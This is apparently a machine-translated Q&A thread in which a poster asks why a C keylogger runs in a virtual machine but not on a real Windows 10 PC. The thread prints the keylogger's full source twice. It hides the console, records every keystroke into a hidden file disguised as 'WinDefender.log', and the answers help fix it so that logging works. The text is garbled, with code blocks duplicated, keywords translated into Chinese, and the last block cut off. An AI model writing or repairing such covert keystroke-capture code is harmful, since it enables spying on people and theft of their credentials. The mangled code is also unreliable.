C 键盘记录器在虚拟机上工作,但在我的真实计算机上不工作

C 键盘记录器在虚拟机上工作,但在我的真实计算机上不工作,c,keylogger,C,Keylogger,首先,这不是我的代码。是的,但我正在编辑它并从中学习。一切功劳都归于他 该代码在Windows 10虚拟机上运行得非常好,但当我尝试在VM之外运行它时(在我自己的计算机上,也是Windows 10),它确实编译并运行,但问题是它不会创建任何“隐藏”目录,因此也不会创建日志文件“WinDefender.log” 我完全不知道问题出在哪里。非常感谢您的帮助 /** * Developer: Minhas Kamal (minhaskamal024@gmail.com) * Date: 15.Aug.

首先,这不是我的代码。是的,但我正在编辑它并从中学习。一切功劳都归于他

该代码在Windows 10虚拟机上运行得非常好,但当我尝试在VM之外运行它时(在我自己的计算机上,也是Windows 10),它确实编译并运行,但问题是它不会创建任何“隐藏”目录,因此也不会创建日志文件“WinDefender.log”

我完全不知道问题出在哪里。非常感谢您的帮助

/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/


#include <windows.h>
#include <time.h>
#include <stdio.h>

#define FILE_NAME "WinDefender.log" 

int main() {
    FreeConsole();

    CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);

    FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a"); 

    time_t date = time(NULL);
    fprintf(file, "0\n%s\t", ctime(&date));
    fclose(file);

    unsigned short ch, i;
    while (1) { //infinite loop

        ch = 1;
        while (ch<250) { //scans for 0-249 ASCII craracters
                         // this strange and extra loop helps in sensing fast-keystrokes with 
                         // minimum processor use
            for (i = 0; i<50; i++, ch++) {

                //when key is stroke
                if (GetAsyncKeyState(ch) == -32767) {

                    //append the ASCII code of the character
                    file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a"); 
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1);
        }
    }
}
/**
*开发商:Minhas Kamal(minhaskamal024@gmail.com)
*日期:2014年8月15日
*网站:https://minhaskamal.github.io/StupidKeylogger
*许可证:麻省理工学院许可证
**/
#包括
#包括
#包括
#定义文件名“WinDefender.log”
int main(){
FreeConsole();
CreateDirectory(“C:/%Userprofile%/AppData/Roaming/Hidden”,NULL);
SetFileAttributes(“C:/%Userprofile%/AppData/Roaming/Hidden”,文件属性隐藏);
SetFileAttributes(“C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log”,文件属性隐藏);
FILE*FILE=fopen(“C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log”,“a”);
时间\u t日期=时间(空);
fprintf(文件“0\n%s\t”,ctime(&date));
fclose(文件);
无符号短ch,i;
而(1){//无限循环
ch=1;
而(ch全部替换)

C:/%Userprofile%

只需删除
C://
,因为
%Userprofile%
已经包含了
C:/Blah/Blah
,所以您将有2个
C:/C:/Blah/Blah

打开命令提示符并键入
echo%USERPROFILE%
您将看到它的含义

你可以试试这些看看哪一个有效

CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);
暂时注释掉
FreeConsole();
以进行测试

if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
  //Directory does not exist
  CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
  if(GetLastError() == ERROR_ALREADY_EXISTS) {
    printf("folder exists");    
  else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
    printf("path not found (means folders before final folder not exist)");
  }
} else {
  printf("exists already");
}
全部替换

C:/%Userprofile%

只需删除
C://
,因为
%Userprofile%
已经包含了
C:/Blah/Blah
,所以您将有2个
C:/C:/Blah/Blah

打开命令提示符并键入
echo%USERPROFILE%
您将看到它的含义

你可以试试这些看看哪一个有效

CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);
暂时注释掉
FreeConsole();
以进行测试

if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
  //Directory does not exist
  CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
  if(GetLastError() == ERROR_ALREADY_EXISTS) {
    printf("folder exists");    
  else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
    printf("path not found (means folders before final folder not exist)");
  }
} else {
  printf("exists already");
}
  • Win32 API默认为UNICODE,即WCHAR(WCHAR\u t)而不是CHAR(CHAR)
  • %userprofile%指定驱动器名称。不应假定它是驱动器C
  • 阅读或上的MSDN文档,并在代码或工具链命令行中选择UNICODE ANSI字符代码集

  • Win32 API默认为UNICODE,即WCHAR(WCHAR\u t)而不是CHAR(CHAR)
  • %userprofile%指定驱动器名称。不应假定它是驱动器C

  • 阅读或上的MSDN文档,并在代码或工具链命令行中选择UNICODE ANSI字符代码集。

    各位,这是我的真实帐户。我是JackJone。不过,这并不重要: 我已经设法对代码进行了一些更改,现在它可以创建一个目录(隐藏或不隐藏)和日志文件(隐藏或不隐藏),但是:

    它不会写任何东西!代码:

    #include <windows.h>
    #include <time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string>
    #include <iostream>
    
    #define FILE_NAME ("%appdata%\\Hidden\\WinSDefender.log"), "WinSDefender.log" //;
    
    
    
     int main() {
        // FreeConsole();
         using namespace std;
    
        system("mkdir %appdata%\\Hidden"); //using a cmd command to create a dir
        system("attrib.exe +h %appdata%\\Hidden");// and hides it
    
        system("echo s > %appdata%\\Hidden\\WinDefender.log");// creates the log file
        system("attrib.exe +h %appdata%\\Hidden\\WinDefender.log");// and hides it
    
        CreateDirectory("%appdata%\\Hidden", NULL);
        ///SetFileAttributes("C:/%appdata%/Desktop/Hidden", FILE_ATTRIBUTE_HIDDEN);
        //SetFileAttributes("%appdata%\\Hidden\\WinDefender.log", FILE_ATTRIBUTE_HIDDEN);  
    
    
        FILE *file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a"); 
    
        time_t date = time(NULL);
        fprintf(file, "0\n%s\t", ctime(&date));
        fclose(file);
    
        unsigned short ch, i;
        while (1) { //infinite loop
    
            ch = 1;
            while (ch < 250) { //scans for 0-249 ASCII craracters
                             // this strange and extra loop helps in sensing fast-keystrokes with 
                             // minimum processor use
                for (i = 0; i < 50; i++, ch++) {
    
                    //when key is stroke
                    if (GetAsyncKeyState(ch) == -32767) {
    
                        //append the ASCII code of the character
                        file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
                        fprintf(file, "%d ", ch);
                        fclose(file);
                    }
                }
                Sleep(1);
            }
        }
    }
    
    #包括
    #包括
    #包括
    #包括
    #包括
    #包括
    #定义文件名(“%appdata%\\Hidden\\WinSDefender.log”),“WinSDefender.log”/;
    int main(){
    //FreeConsole();
    使用名称空间std;
    系统(“mkdir%appdata%\\Hidden”);//使用cmd命令创建目录
    系统(“attrib.exe+h%appdata%\\Hidden”);//并将其隐藏
    系统(“echo s>%appdata%\\Hidden\\WinDefender.log”);//创建日志文件
    系统(“attrib.exe+h%appdata%\\Hidden\\WinDefender.log”);//并将其隐藏
    CreateDirectory(“%appdata%\\Hidden”,NULL);
    ///SetFileAttributes(“C:/%appdata%/桌面/隐藏”,文件属性\u隐藏);
    //SetFileAttributes(“%appdata%\\Hidden\\WinDefender.log”,文件\u属性\u Hidden);
    FILE*FILE=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
    时间\u t日期=时间(空);
    fprintf(文件“0\n%s\t”,ctime(&date));
    fclose(文件);
    无符号短ch,i;
    而(1){//无限循环
    ch=1;
    而(ch<250){//扫描0-249个ASCII字符
    //这个奇怪的额外的循环有助于用键盘感知快速的击键
    //最小处理器使用
    对于(i=0;i<50;i++,ch++){
    //当关键是中风
    如果(GetAsyncKeyState(ch)=-32767){
    //附加字符的ASCII码
    file=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
    fprintf(文件“%d”,ch);
    fclose(文件);
    }
    }
    睡眠(1);
    }
    }
    }
    
    各位,这是我的真实账户。我的真实邮件。我是杰克乔恩。不过,这并不重要: 我已经设法对代码进行了一些更改,现在它可以创建一个目录(隐藏或不隐藏)和日志文件(隐藏或不隐藏),但是:

    它不会写任何东西!代码:

    #include <windows.h>
    #include <time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string>
    #include <iostream>
    
    #define FILE_NAME ("%appdata%\\Hidden\\WinSDefender.log"), "WinSDefender.log" //;
    
    
    
     int main() {
        // FreeConsole();
         using namespace std;
    
        system("mkdir %appdata%\\Hidden"); //using a cmd command to create a dir
        system("attrib.exe +h %appdata%\\Hidden");// and hides it
    
        system("echo s > %appdata%\\Hidden\\WinDefender.log");// creates the log file
        system("attrib.exe +h %appdata%\\Hidden\\WinDefender.log");// and hides it
    
        CreateDirectory("%appdata%\\Hidden", NULL);
        ///SetFileAttributes("C:/%appdata%/Desktop/Hidden", FILE_ATTRIBUTE_HIDDEN);
        //SetFileAttributes("%appdata%\\Hidden\\WinDefender.log", FILE_ATTRIBUTE_HIDDEN);  
    
    
        FILE *file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a"); 
    
        time_t date = time(NULL);
        fprintf(file, "0\n%s\t", ctime(&date));
        fclose(file);
    
        unsigned short ch, i;
        while (1) { //infinite loop
    
            ch = 1;
            while (ch < 250) { //scans for 0-249 ASCII craracters
                             // this strange and extra loop helps in sensing fast-keystrokes with 
                             // minimum processor use
                for (i = 0; i < 50; i++, ch++) {
    
                    //when key is stroke
                    if (GetAsyncKeyState(ch) == -32767) {
    
                        //append the ASCII code of the character
                        file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
                        fprintf(file, "%d ", ch);
                        fclose(file);
                    }
                }
                Sleep(1);
            }
        }
    }
    
    #包括
    #包括
    #包括
    #包括
    #包括
    #包括
    #定义文件名(“%appdata%\\Hidden\\WinSDefender.log”),“WinSDefender.log”/;
    int main(){
    //FreeConsole();
    使用名称空间std;
    系统(“mkdir%appdata%\\Hidden”);//使用cmd命令创建目录
    系统(“attrib.exe+h%appdata%\\Hidden”);//并将其隐藏
    系统(“echo s>%appdata%\\Hidden\\WinDefender.log”);//创建日志文件
    系统(“attrib.exe+h%appdata%\\Hidden\\WinDefender.log”);//并将其隐藏
    CreateDirectory(“%appdata%\\Hidden”,NULL);
    ///SetFileAttributes(“C:/%appdata%/桌面/隐藏”,文件属性\u隐藏);
    //SetFileAttributes(“%appdata%\\Hidden\\WinDefender.log”,文件\u属性\u Hidden);
    FILE*FILE=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
    时间\u t日期=时间(空);
    fprintf(文件“0\n%s\t”,ctime(&date));
    fclose(文件);
    无符号短ch,i;
    而(1){//无限循环
    ch=1;